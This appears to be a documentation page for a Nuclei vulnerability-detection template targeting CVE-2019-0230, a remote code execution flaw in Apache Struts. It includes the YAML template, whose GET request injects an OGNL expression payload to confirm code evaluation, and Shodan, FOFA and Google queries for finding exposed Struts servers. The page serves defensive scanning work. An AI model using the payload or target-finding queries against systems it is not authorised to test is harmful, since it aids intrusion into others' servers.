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Apache Struts <=2.5.20 - Remote Code Execution

ID: CVE-2019-0230

Severity: critical

Author: geeknik

Tags: cve,cve2019,tenable,packetstorm,struts,rce,apache

Description

Section titled “Description”

Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.

YAML Source

Section titled “YAML Source”
id: CVE-2019-0230


info:
  name: Apache Struts <=2.5.20 - Remote Code Execution
  author: geeknik
  severity: critical
  description: Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected server.
  remediation: |
    Upgrade Apache Struts to a version higher than 2.5.20 or apply the necessary patches provided by the vendor.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-0230
    - https://cwiki.apache.org/confluence/display/WW/S2-059
    - https://www.tenable.com/blog/cve-2019-0230-apache-struts-potential-remote-code-execution-vulnerability
    - http://packetstormsecurity.com/files/160108/Apache-Struts-2.5.20-Double-OGNL-Evaluation.html
    - https://cwiki.apache.org/confluence/display/ww/s2-059
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-0230
    cwe-id: CWE-1321
    epss-score: 0.95364
    epss-percentile: 0.99359
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2019,tenable,packetstorm,struts,rce,apache
variables:
  str: "{{rand_base(6)}}"


http:
  - method: GET
    path:
      - "{{BaseURL}}/?id={{str}}%25{128*128}"


    matchers:
      - type: word
        part: body
        words:
          - "{{str}}16384"
# digest: 4b0a00483046022100f94791050e2238f48001cc54cb182803fc094948481adc8cbd255fffbe22b4af022100a0301ccec79199594dfe74165378b11b0201d9c55c910860b83946846f9b8014:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-0230.yaml"

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